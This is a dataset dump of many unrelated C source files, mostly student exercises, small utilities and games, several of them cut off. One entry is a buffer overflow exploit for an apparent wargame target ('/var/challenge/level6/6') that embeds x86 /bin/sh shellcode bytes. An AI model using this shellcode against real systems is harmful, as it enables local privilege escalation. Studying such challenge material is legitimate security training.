language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
/* ** EPITECH PROJECT, 2017 ** cond ** File description: ** cond */ #include <SFML/Graphics.h> #include <stddef.h> #include <math.h> #include <stdlib.h> #include <time.h> #include "my.h" #include <stdio.h> void cond_move_emolga_bonus(carac_t *perso, sfVector2f emolga, screen_t *scre) { if (sfSprite_getPosition(perso...
C
#ifndef KERNEL_H #define KERNEL_H #include <stdio.h> #if !defined(_WIN32) /** * swap - swap values of @a and @b * @a: first value * @b: second value */ #define swap(a, b) \ do { typeof(a) __tmp = (a); (a) = (b); (b) = __tmp; } while (0) #endif #ifndef round_up #define round_up ITH_ALIGN_UP #endif #ifndef round...
C
#include <stdio.h> #include <stdlib.h> #include <math.h> int main() { double n, sum = 0; scanf("%lf", &n); double *p = (double *)malloc(sizeof(double) * n); for (int i = 0; i < n; i++){ scanf("%lf", &p[i]); sum += p[i]; } printf("sum = %lf\n", sum); return 0; }
C
#include "../fillit.h" char **grow_map(char **map) { int new_size; char **new_map; new_size = get_current_map_size(map); new_map = create_map(EMPTY_CHARACTER, new_size + 1); if (!new_map) return (0); new_map = cpy_map(new_map, map); ft_free_multidimensional_array(map); return (new_map); } int get_height_s...
C
// AST constructor functions #include <stdio.h> #include <string.h> #include <stdlib.h> // for malloc #include "ast.h" // AST header //Inteiros Expr* ast_integer(int v) { Expr* node = malloc(sizeof(Expr)); node->kind = E_INTEGER; node->attr.value = v; return node; } //Booleanos V/F Expr* ast_bool(int v){ Ex...
C
/*1. Write a program to display all Armstrong numbers between 1 and 500. (An Armstrong number is a number such that the sum of cube of digits = number itself Ex. 153 = 1*1*1 + 5*5*5 + 3*3*3 */ #include <stdio.h> int main() { int sum = 0, remainder; for (int i = 1; i <= 500; i++, sum = 0) { ...
C
/* * Copyright 2019 Shannon Stewman * * See LICENCE for the full copyright terms. */ #include <assert.h> #include <stdlib.h> #include <adt/set.h> typedef int item_t; #include "set.inc" static int cmp_int(const void *a, const void *b) { const int *pa = * (const int * const *) a; const int *pb = * (const int *...
C
#include <stdio.h> #include <string.h> int main() { FILE *strng; char word[80]; strng = fopen("d:/data/words.txt","w"); while(strlen(word)>0){ gets(word); fputs(word,strng); fputs("\n",strng); } fclose(strng); return 0; }
C
// Include Libraries #include "ProgrammerInterface.h" //#include "hardcodedprogram.h" // Global Variables volatile uint8_t buffer_program[MAX_PROGRAM_SIZE] = hardprogram; ////////////////////////////////////////////////////////// // Functions ///////////////////////////////////////////// /////////////////////////////...
C
#include <stdio.h> #include <stdlib.h> double cube_volume(double side_length) { double volume = side_length * side_length * side_length; return volume; } int main() { /* code */ double side = 7.35; double vol = cube_volume(side); printf("Volume: %.2f\n", vol); return EXIT_SUCCESS; }
C
#include<stdio.h> #include<time.h> int main() { time_t timer; struct tm *tl = NULL; timer = time(NULL); tl = localtime(&timer); printf("%d\n",tl->tm_year+1900); }
C
/* * app.c * * Created on: Sep 14, 2021 * Author: Sarah */ /***************************************************** * INCLUDES *****************************************************/ #include "app.h" /***************************************************** * Global Variable...
C
// // // DC_DummyPUSTelemetryPacket.h // #ifndef DC_DUMMYPUSTELEMETRYPACKET_H #define DC_DUMMYPUSTELEMETRYPACKET_H #include "../GeneralInclude/ForwardDeclarations.h" #include "../GeneralInclude/BasicTypes.h" #include "../Base/CC_RootObject.h" #include "PUSTelemetryPacket.h" #include "../Qom/object.h" /* * Dummy ...
C
/* * app_led.h * * Created on: Jan 7, 2018 * Author: root */ #ifndef APP_LED_H_ #define APP_LED_H_ #include "base.h" #include "basetypes.h" #include "devDbg.h" #include "qcom_gpio.h" #define LED_NUMBER 2 #define led_unflash 0 #define led_isflash 1 #define led_flashfinsh 2 typedef struct _LED_STATE_INFO...
C
#include <stdio.h> #include <stdlib.h> int getInteger(char); int getNumber(FILE *); void getArray(FILE *,int *,int); void printArray(int *,int); int multiply(int *,int *,int); int main(int argc,char *argv[]){ int n; int arr[100]; int b[100]; char *file = argv[1]; FILE *fptr; fptr = fopen(file,"r"); fscanf(f...
C
#include "Graph.h" #define WHITE 1 #define GRAY 2 #define BLACK 3 int getNumVertices(Graph * G) { return G->size; } int getNumEdges(Graph * G) { int* edges = malloc(sizeof(int));; *edges = 0; for (int i = 0; i < G->size; ++i) { for (int j = 0; j < G->size; j++) { if (G->matrix[i][j].data != 0) { ...
C
/* * prob1.c * * Created on: * Author: */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* the include file for the SQLite library */ /* do not use sqlite.h or sqlite3ext.h */ #include <sqlite3.h> #include "prob1.h" /* static variables for the root of the tree and number of re...
C
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> int main() { if (open ("sf", O_RDONLY) < 0){ perror("open"); printf("errno: %d\n", errno); exit(errno); } return 0; }
C
#include <stdio.h> #include <stdlib.h> struct regata{ char nome[30]; int pontos; }; main(){ struct regata atleta[3]; for(int i=0;i<3;i++){ printf("Qual o nome do %d# atleta?",i+1); fflush(stdin); gets(atleta[i].nome); printf("Pontuacao na partida?"); scanf("%d",...
C
#include <stdio.h> void imprimir(void); void sumar(double a, double b); double restar(double a, double b); double multiplicar(double a, double b); void funcionChida(char *str,double (*ptr_func)(double a, double b) ); int main(int argc, char *argv[]){ imprimir(); sumar(5,6); printf("Resta: %f\n",restar(15.5,13)); ...
C
#include <stdio.h> void snale_matrix(){ int matrix[5][5]; int num=1; int delta=1; int limit=5; int i=0,j=-1; int p,q; while(1){ //η ̵ϸ鼭 ϳ Ҵ for(p=0; p<limit; p++){ j=j+delta; matrix[i][j]=num; num++; } ...
C
#include <stdio.h> int min(int t1, int t2) { return t1 < t2 ? t1 : t2; } int max(int t1, int t2) { return t1 > t2 ? t1 : t2; } int main(void) { int front[8], left[8], i, max_front[8], max_left[8], res = 0, temp, j; for (i = 0; i < 8; i++) { scanf("%d", &front[i]); max_front[i] = 0; } f...
C
#include <stdio.h> #include <stdlib.h> #include "adresse.h" #include "classeIP.h" #include "typeIP.h" int main(void) { int adresseIP[4]; printf("saisissez une adresse IP"); scanf("%p.%p.%p.%p" *adresseIP[0],*adresseIP[1],*adresseIP[2],*adresseIP[3]); }
C
#include <stdio.h> int main(void) { int a, b, dif; puts("値を2つどうぞ"); printf("1つめ:"); scanf("%d", &a); printf("2つめ:"); scanf("%d", &b); dif = a - b; if ((a > b && a - b <= 10) || (a < b && b - a <=10)) puts("差は10以下"); else puts("差は11以上"); return 0; }
C
/* * Chunk-level functions */ /* See midi.pdf page 133, "Header Chunks" */ void readHeaderChunk(FILE *inputFilePointer, uint32_t chunkLength) { if (chunkLength < 6) { return; /* This shouldn't happen */ } #define FORMAT_SINGLE_TRACK 0 #define FORMAT_MULTIPLE_SIMULTANEOUS_TRACKS 1 #define FORMAT_MULTIPLE_IND...
C
#include <stdio.h> int main() { int contestants[] = {3, 9, 27, 1000}; printf("Contestants %d\n", contestants[4]); printf("Contestants %d\n", *(contestants + 4)); printf("Contestants %d\n", *(4 + contestants)); printf("Contestants %d\n", 4[contestants]); return 0; }
C
#include <stdio.h> int main() { char s1[100] = "Open Source ", s2[] = "LAB 1"; int length, j; length = 0; while (s1[length] != '\0') { ++length; } for (j = 0; s2[j] != '\0'; ++j, ++length) { s1[length] = s2[j]; } s1[length] = '\0'; printf("After concatenation: "); put...
C
#include "stm8s_delay.h" /* * GPIO_PIN_3 = 0x10 = 0b00001000 = 008 = 2^3 * GPIO_PIN_4 = 0x10 = 0b00010000 = 016 = 2^4 * GPIO_PIN_5 = 0x20 = 0b00100000 = 032 = 2^5 * GPIO_PIN_6 = 0x40 = 0b01000000 = 064 = 2^6 * GPIO_PIN_6 = 0x80 = 0b10000000 = 128 = 2^7 */ uint8_t n=0; //инициализация переменной uint16_t adc; ...
C
#include <ntifs.h> #include <ntddk.h> NTSTATUS ntCreateFile(WCHAR *szFileName); NTSTATUS ntCreateDirectory(WCHAR *szDirName); NTSTATUS ntWriteFile(WCHAR *szFileName); NTSTATUS ntReadFile(WCHAR *szFileName); NTSTATUS ntCopyFile(const WCHAR *src, const WCHAR *dst); NTSTATUS ntMoveFile(const WCHAR *src, const WCHAR *dst...
C
#include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <time.h> #include <pthread.h> #define database_size 10 #define threshold_l 0.6 #define threshold_h 0.8 time_t databas...
C
// // card.c // Euchre // // Created by Chris J.M. on 3/28/14. // Copyright (c) 2014 Euchre US!. 2-clause BSD. // #include <stdio.h> #include "card.h" card_t make_card(const suit_t suit, const value_t value) { card_t temp = {suit, value}; return temp; } char *print_card(const card_t card, const suit_t tr...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <poll.h> #include "mssgHandling.h" #define WRITE_END 1 #define READ_END 0 #define BSIZE 200 void mySend(char* out, int outSize, int bufSize, int myPipe){ // printf("mySend: received: %s, out_size: %d, bu...
C
#include<stdio.h> int main() { int Encryptedmessage[100], Counter, Stage1[100],key, Stage2[100], Stage3[100]; printf("Enter the key which you have to use for decryption:"); scanf("%d", &key); printf("Enter the Message: "); for(Counter = 1; Encryptedmessage[Counter -1] != key; Counter ++) { scanf("%d", &E...
C
// typedef int OBT_DataType; typedef struct Node { OBT_DataType data; struct Node* left,*right; }OBT_Node; typedef struct { OBT_Node* root; int (*rel)(OBT_DataType,OBT_DataType); }OTree; //½ OBT_Node* OBT_makeNode(OBT_DataType value) { OBT_Node* new_ptr=(OBT_Node*)malloc(sizeof(OBT_Node)); new_ptr->data=val...
C
#include <stdio.h> #include <string.h> #include <time.h> #include <omp.h> #include <stdlib.h> unsigned int seed = 1; const unsigned int rand_max = 32768; double rendom(){ #pragma omp threadprivate(seed) unsigned int rv; seed = seed * 1103515245 + 12345; rv = ((unsigned)(seed/65536) % rand_max); return(double)r...
C
#include<stdio.h> extern int getzeline(char *s, int max); extern char *alloc(int n); /* getzelines: reads and dumps all lines to a table, returns number of lines */ int getzelines(char *s[], int maxrow, int maxcol) { if(maxrow && getzeline(*s = alloc(maxcol), maxcol)) return 1 + getzelines(s + 1, maxrow - 1, m...
C
/* * COMP 206 Assignment 4 * Alex I. * Manages registration on the website */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* * Returns 0 if user/pass combination is correct, * 1 otherwise. */ int isValidUser(char *username, char *password) { FILE *filePointer; filePointer = fopen("members.c...
C
// lzw.c // // Implements the Lempel-Ziv-Welch algorithm for use in encoding and decoding a // given file. Running encode will encode the stdin into a compressed version. // Running decode will take stdin's stream of bits and decompress to stdin. // Encode takes the -m MAXBITS flag (to specify maximum size of a charact...
C
#include <stdio.h> #include <string.h> #include <stdlib.h> #define NOP 0x90 #define VULN "/var/challenge/level6/6" char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; /** * Buffer overflow exploitation 23 byte bin/sh shellcode * Shellcode in env using ad...
C
// 2. Leer dos números enteros presentar por pantalla el promedio de ellos. #include <stdio.h> int main(void){ int a,b; int prom; printf("Ingrse un numero: "); scanf("%i", &a ); printf("Ingrse un numero: "); scanf("%i", &b ); prom = (a+b)/2; printf("La media aritmetica es: %i ", prom); return 0; }
C
#ifndef SYMBOLSTABLEH #define SYMBOLSTABLEH #include "Structs.h" /* This section handles the symbol table. the functions are handle all funcitionality of symbol table. */ /* initialize the symbol table as list. */ symbolTableList* initSymbolTable(); /* the function add new node for the list. */ void ...
C
#include "guess_note.h" // _getch() value of ESC key #define ESC 27 #define UP 72 #define DOWN 80 #define SUBMIT 4 #define ENTER 13 /* 함수 선언 */ int keyControl(); int menuDraw(); void print_piano(); int MakeRandNote(int random); int playGame(char** dp, int n); void rule(); void guess_note(void); char* p[SIZE] = { "도...
C
/* * dircolors.c * * Parse a Slackware-style DIR_COLORS file * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <ctype.h> #include <string.h> #include "version.h" #define USER_FILE ".dir_colors" /* Versus user's home directory */ #define SYSTEM_FILE "//DIR_COLORS" /* System-wide file in dir...
C
#include <stdio.h> #include <stdbool.h> #define SENTINEL -999 void display_table(char board[]) { int i; for (i = 0; i < 9; i++) { printf("%c ", board[i]); if (((i + 1) % 3) == 0) { printf("\n"); } } } void insert(char board[],char *turn) { int index; printf("Turn of %c\nEnter index : "...
C
#include "monty.h" /** * _Error - function who print error on stderr * @error_num: error number * @op_code: operation code * @line_number: line number */ void _Error(int error_num, char *op_code, unsigned int line_number) { switch (error_num) { case 100: fprintf(stderr, "USAGE: monty file\n"); exit(EXIT_FAI...
C
#include "holberton.h" /** * _strchr - fills memory with a constant byte. * @s : the distination * @c : the numb of changes * Return: Always 0 (success) */ char *_strchr(char *s, char c) { for (; *s != '\0'; s++) { if (*s == c) return (s); else if (*(s + 1) == c) return (s + 1); } return (s); }
C
#include <stdio.h> int main(void){ // Declarações iniciais char array_A[4][4] = {{'*','0','*','*'},{'*','0','*','0'},{'*','*','0','*'},{'0','0','*','*'}}; int i,j; i = 4; j = 4; int array_B[4][4] = {{0,0,0,0},{0,0,0,0},{0,0,0,0},{0,0,0,0}}; char bomba = '0'; for (int x = 0; x < i; ...
C
#define STACK_TOP 0x20005000 extern unsigned int _BSS_START; extern unsigned int _BSS_END; extern unsigned int _DATA_ROM_START; extern unsigned int _DATA_RAM_START; extern unsigned int _DATA_RAM_END; void startup(); void main(); // Define the vector table unsigned int * myvectors[2] __attribute__ ((section("vectors...
C
#include <stdio.h> #include <stdlib.h> #include "Pilha.h" #define TAM_MAX 5 struct pilha{ int itens[TAM_MAX]; int topo; }; Pilha * criar() { Pilha * p = malloc(sizeof(Pilha)); p->topo = 0; return p; } void empilhar(Pilha * p, int valor) { if (p->topo == TAM_MAX) { printf("Pilha cheia!\n"); return; } p->...
C
/* La variable x(v, h) est représentée par le nombre v*k + h + 1 */ //Crée des clauses pour que n'avoir qu'une seule profondeur par sommet void contrainte1(); //Crée des clauses pour n'avoir qu'une seule racine void contrainte2(); //Crée des clauses pour que l'arbre soit suffisament profond void contraint...
C
#include <stdio.h> int main() { int number; int i = 0; char name[100]; scanf("%d,",&number); while (i<number) { scanf("%s", name); printf("Hello, %s!\n",name); i = i+1; } return 0; }
C
/* Author: gyama009 * Partner(s) Name: * Lab Section: 022 * Assignment: Lab #9 Exercise #3 * Exercise Description: [optional - include for your own benefit] * * I acknowledge all content contained herein, excluding template or example * code, is my own original work. */ #include <avr/io.h> #include <avr/inter...
C
#include<stdio.h> #include<stdlib.h> #include "pilhafila.h" int MaiorElemLinha(int *v,int N, int M,int k); int EPalindromo(Stack* s); void main(void) { Stack* s; s = stkCreate(200); if(s!=NULL) { stkPush(s,(void*)"o"); stkPush(s,(void*)"g"); stkPush(s,(void*)"a"); stkPu...
C
/* * Program to count frequency of digit less than 6 */ #include<stdio.h> int CountFreq(long); int main() { long lNum = 0; int iDig = 0, iRet = 0; printf("Enter the number:\t"); scanf("%ld", &lNum); iRet = CountFreq(lNum); printf("%d", iRet ); return 0; } //////////////////////////////////////////////////////...
C
#include <stdlib.h> #include <GLUT/glut.h> #include <math.h> #include <dirent.h> #include <stdio.h> #include "map.h" /* Debug */ void drawPoint(int x, int y) { glColor3f(0,1,0); glPointSize(4); glLineWidth(2); glBegin(GL_POINTS); glVertex2i(x, y); glEnd(); } /* Generic functions */ float degToRad(int a) { re...
C
#include <stdio.h> int main(void) { int array[10]; printf("array___(%p)\n",array); printf("array0\n",&array[0]); printf("array1\n",&array[1]); printf("array2\n",&array[2]); return 0; }
C
#include <string.h> #include <stdio.h> #include <stdlib.h> #define SIZE 4096 struct page{ int size; struct page* next; struct page* last; //int use; //0 not use 1 in use int start; int end; }; struct page* used_=NULL; struct page* free_=NULL; int height=0; void delete_free(struct page *oldpage); void delete_pa...
C
/* Disjoint Set (Or Union-Find) | (Detect Cycle in an Undirected Graph) ****************** Weather a graph(UNDIRECTED) contain a cycle or not ? ******************************************** Disjoint-set is a ---> data structure keeps track of a set of elements partitioned into a number of disjoint (non-ov...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* push_swap.c :+: :+: :+: ...
C
#include "./command.h" Command * command(char * newString) { Command * cmd = (Command *)calloc(1, sizeof(Command)); cmd->data = (char *)calloc(strlen(newString)+1, sizeof(char)); strncpy(cmd->data, newString, strlen(newString)); return cmd; } void * buildTypeCommand(char * newString) { Com...
C
#include <netdb.h> struct hostent { char *h_name; /* official (canonical) name of host .ʾĹ淶www.google.comĹ淶ʵwww.l.google.com*/ char **h_aliases; /* pointer to array of pointers to alias names. ʾı.www.google.comgoogleԼıеʱекü ЩʵΪûΪԼվȡ֡*/ int ...
C
/** \file msgcli.c \author Marco Ponza \brief client Si dichiara che ogni singolo bit presente in questo file è solo ed esclusivamente "farina del sacco" del rispettivo autore :D */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <errno.h...
C
/**************************************************** * Copyright (c) 2022, tkorays <tkorays@hotmail.com> * All rights reserved. * * @file location.h * @brief code location. * @version 1.0 * @author tkorays<tkorays@hotmail.com> * @date 2022-8-4 ****************************************************/ #ifndef __CF...
C
#include <stdio.h> #include<fcntl.h> #include <unistd.h> int main() { int fd[2], ret; pid_t pid; char buff[5]; printf("begin:%s pid: %d\n",__func__,getpid()); printf("pid:%d ppid: %d\n",getpid(), getppid()); ret= pipe(fd); if(ret>0) { printf("pipe created\n"); } else perror("pipe"); ret= write(fd[1],"pipe",4); if(re...
C
/* ---------------------------- Sajiel Chishti CSCI4210 Homework 2 - Fork Calculator ---------------------------- Implementation of a LISP type expression handling calculator. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/sta...
C
bool CompSymmetric(struct TreeNode* p,struct TreeNode* q){ if(p==NULL && q==NULL) return true; if(p==NULL || q==NULL) return false; if(p->val!=q->val) return false; return CompSymmetric(p->left,q->right) && CompSymmetric(p->right,q->left); } bool isSymmetric(struct TreeNode* root...
C
#include <stdio.h> /* strcat: concateenate t to end of s; s must be big enough */ void mystrcat(char *s, char *t) { while (*s) /* find end of s */ s++; while ((*s++ = *t++)) /* copy t */ ; } int main(void) { char str[32] = "world"; char buf[32] = "hello "; char *p = str; mystrcat(buf, str); printf("%s\n"...
C
#include "minilibmx.h" int mx_count_agents(char *src) { int count = 0; if (src) { while (mx_strstr(src, "agent {")) { src = mx_strstr(src, "agent {"); src += 7; while (mx_isspace(src[0])) src++; if(!mx_strncmp(src, "name:", 5)) { ...
C
#include<stdio.h> int main(int argc, char *argv[]) { int numbers[4] = { 0 }; char name[4] = { 'a' }; // Print out the contents of the raw arrays printf("elements in numbers[] array: %d %d %d %d\n", numbers[0], numbers[1], numbers[2], numbers[3]); printf("elements in name[] array: %c %c %c %c\n", name[0], ...
C
#include <stdio.h> void trans_uid(unsigned char *id_card,unsigned long *result); void main() { // дchar[] id_card unsigned char id_card[] = {0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88}; unsigned long result; trans_uid(id_card,&result); printf("long-size: %d",sizeof(long)); // 4 } /* cеlongҲ4ֽڵ int long͵ ڵIJϵͳ16...
C
/* main.c */ #include <stdio.h> void push(char); char pop(void); int is_empty(void); int a, b = 1; int main(void) { push('a'); push('b'); push('c'); while(!is_empty()) putchar(pop()); putchar('\n'); return 0; }
C
#include <stdio.h> #include <ctype.h> #include <string.h> #define MAX 100 int vezesCarater(int x, char c, char frase[]) { int i = 0, vezes = 1; c = tolower(c); do{ while(tolower(frase[i]) != c && frase[i] != '\0') i++; i++; while(tolower(frase[i]) == c && frase[i] != ...
C
/* ** EPITECH PROJECT, 2019 ** my_strdup.c ** File description: ** allocate memory to a string */ #include<stdio.h> char *my_strdup(char const *str) { char *str2; int count = 0; str2 = malloc(sizeof(char) * (my_strlen(str) + 1)); if (str2 == NULL) return (NULL); for (int i = 1; i < my_strl...
C
#include <stdlib.h> #include <string.h> #include <stdio.h> #include "lists.h" /** * list_len - returns the number of elements in list_t. * @h: pointer * Return: i */ size_t list_len(const list_t *h) { unsigned int i = 0; const list_t *pt; pt = h; while (pt) { pt = pt->next; i++; } return (i); }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* p_int.c :+: :+: :+: ...
C
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <ctype.h> #define PORTNO 10200 char *strupr(char *str) { unsigned char *p = (unsigned char *)str; while (*p) { *p = toupper((u...
C
// ִصĺ #include "shell.h" char g_cmdset[CMD_NUM][MAX_LINE_LENGTH]; //  char cmd[MAX_CMD_PART][MAX_LEN_PART]; // ǰ int cmd_index = -1; // 洢ǵڼ // ʼб void init_cmd_set(void) { memset((char *)g_cmdset, 0, sizeof(g_cmdset)); // ȫ strcpy(g_cmdset[0], led); strcpy(g_cmdset[1], lcd); strcpy(g_cmdset[2], pwm); ...
C
// Xiaoyi Ling, Tiffany Luu // CSE 374 Homework 6 // get_mem_stats.c // Mar 2 2017 // Updates the inputted pointers with the current values. total_size is // calculated as the total memory from the underlying system (malloc), // total_free is the total memory on the free_list, including the headers, // and n_free_bloc...
C
#include "device/rf_dev.h" #include "device/device.h" static struct rf_platform_data *data = NULL; static struct rf_phy_device *phy_dev = NULL; static bool rf_module_online(const struct dev_node *node) { if (phy_dev) { if (phy_dev->ops->online) { return phy_dev->ops->online(node); } ...
C
#include <fcntl.h> #include <stdio.h> #include <getopt.h> #include <stdlib.h> #include <stdarg.h> #include <memory.h> #include <math.h> #include <ctype.h> #include "fourier.h" int rate = 8000; int bps = 10; double threshold = 0.01; double carrier = 8000.0; FILE* infile = NULL; FILE* outfile = NULL; void usage(char...
C
/********************************************************************************** * * [MODULE]: APPLICATION * * [FILE NAME]: applications_functions.c * * [DESCRIPTION]: Source file for the Application Functions Used by the Control ECU * * [AUTHOR]: Ahmed Hassan * **********************************...
C
#define _XOPEN_SOURCE //para sacar un warning feo #include "cliente.h" int socket_cliente; int mano[TAMANIO_DE_MAZO]; int pila[TAMANIO_DE_MAZO]; int cartas_en_mano; int cartas_en_pila; void desconectar(bool debe_informar) { printf("Hasta luego...\n"); if (debe_informar) { enviar_mensaje_sin_cuerpo(DESCONEXION, s...
C
#include <stdio.h> #include <stddef.h> void qstr_print(const char *s) { int i=0; while(s[i] != '?') { printf("%c", s[i]); i++; } } unsigned int qstr_length(const char *s) { int i = 0; while(s[i] != '?') { i++; } printf("%d", i); return i; } int qstr_cat(char *dst, cha...
C
#include <stdio.h> #include <math.h> int atoi2(const char *s); int atobi2(const char *s); int main(void) { printf("%d\n", atobi2("38167")); return 0; } #include <ctype.h> /* atof: convert string s to double */ double atof(char *s) { double val; if (*s == '-') return -atof(s+1); if (isdigit(*s)) return at...
C
#include <stdio.h> int main() { int n, r = 0, s, t; printf("enter the number"); scanf("%d", &n); t = n; for (; n != 0;) { s = n % 10; r = r + s*s*s; n = n / 10; } printf("%s\n", r == t ? "yes" : "no"); return 0; }
C
#include "linkedlist.h" #include <assert.h> Node* init_node(int item){ Node *node = (Node *) malloc(sizeof(Node)); node->data = item; node->next = NULL; return node; } void free_list(Node *head){ Node *prev; while(head->next){ prev = head; head = head->next; fre...
C
#include <errno.h> #include <getopt.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "browse.h" #include "tinyafs.h" const char *optstring = "hq"; const struct option longopts[] = { { "help", no_argument, NULL, 'h' }, { "quiet", no_argument, NULL, 'q' }, }; int quiet = 0; int was_err = 0; i...
C
#include <stdio.h> int main() { int num, i, input; scanf("%d", &num); for(i=0; i<num; i++) { scanf("%d", &input); int cnt = 1; int zero1 = 1, zero2 = 0, one1 = 0, one2 = 1; if(input==0){ printf("%d %d\n", zero1, zero2); continue; } els...
C
/* ADT PLAYER UNTUK identitas player */ #ifndef PLAYER_H #define PLAYER_H #include "boolean.h" #include "../ADT Queue/queue.h" #include "../ADT List/listlinier.h" typedef struct{ List ListIdxBangunan; Queue QSkill; boolean Turn; //True if this player on turn int ShieldPlayer; //0 tidak punya shield,...
C
#include <stdio.h> #include <math.h> double pow(double x, double y); float powf(float x, float y); long double powl(long double x, long double y); int main(){ int x, y; scanf("%d%d", &x, &y); printf("%d", (int) pow(x, y)); return 0; }
C
#include<stdio.h> #include<conio.h> void main() { int i,l; char s[100]; printf("Enter the string..:"); scanf("%s",s); printf("Enter the number of string to be display..:"); scanf("%d",&l); for(i=0;i<l;i++) { printf("%c",s[i]); } getch(); }
C
#include "holberton.h" /** * _strcpy - prints an array, followed by a new line * @dest : destination array * @src : string to be cpied * Return: void */ char *_strcpy(char *dest, char *src) { char *a = dest; char *s = src; for (; *(s - 1) != '\0'; a++, s++) *a = *s; *a = *s; return (dest); }
C
#include <stdio.h> #include <unistd.h> int main() { int pid, b = 10, *a; a = &b; pid = fork(); (*a)++; if (pid == 0) { while(1) printf("P.H. a = %p, *a = %5d, b = %d, &b = %p\n", a, (*a)++, b, &b); } else { while (1) printf("P.P. a = %p, *a = %5d, b = %d, &b = %p\n", a, --(*a), b, &...
C
#include <stdio.h> #include <stdlib.h> #include <dirent.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define error(msg) {perror(msg);\ return EXIT_FAILURE;} int getFileSize(char * name){ struct stat fInfo; if (-1 == stat(name, &fInfo)){ error("stat"); } printf("%ld\n", ...
C
#include<stdio.h> #include<sys/socket.h> #include<arpa/inet.h> #include<unistd.h> #include<stdlib.h> #include<string.h> #define STR_LEN 40 void error_handing(char *msg) { fputs(msg, stderr); fputs("\n", stderr); return; } int main(int argc, char *argv[]) { int client_sock; struct sockaddr_in clie...
C
#include <stdio.h> #include <math.h> #include "source.h" void printTree(int height) { int i,j, k; int whitespace; int trunkSpace; char stars[height + 1]; int on = 2; k = 0; i = 1; j = 1; stars[0] = '*'; stars[1] = '\0'; trunkSpace = height -3; while(i < height + 1) { ...
C
#ifndef LLIST_H #define LLIST_H #include <stdlib.h> // Linked list node definition //*********************************************************************************************************** // The following structure defines a single linked list node occurrence. #if SENTINEL_STRINGS static const char LIST_HEAD...
C
#include"tree.h" int max2(int a, int b) { if (a > b) return a; else return b; } struct avltree *balance(struct avltree *tree) { tree->height = max2(avltree_height(tree->left), avltree_height(tree->right)) + 1; if (avltree_height(tree->left) - avltree_height(tree->right) == 2) { if (avltree_height(tree->left->r...
C
// // Created by Rahul on 6/19/2019. //#include<stdio.h> void converter(int lower ,int upper , float step); int main() { converter(0 , 300 , 20); } void converter(lower , upper , step) int lower , upper; float step; { for(int i=lower; i<=upper; i+=step) { float temp = (5.0/9.0)*((float)i- 32); printf("...
C
/* Solves http://projecteuler.net/problem=14 */ #include <stdio.h> /* Do the even or odd stuff. */ size_t Even(size_t number) { return number/2; } size_t Odd(size_t number) { return 3*number+1; } int main() { /* Our variables. */ size_t check; int l_number = 0; int l_counter = 0; int counter, i; /* We only...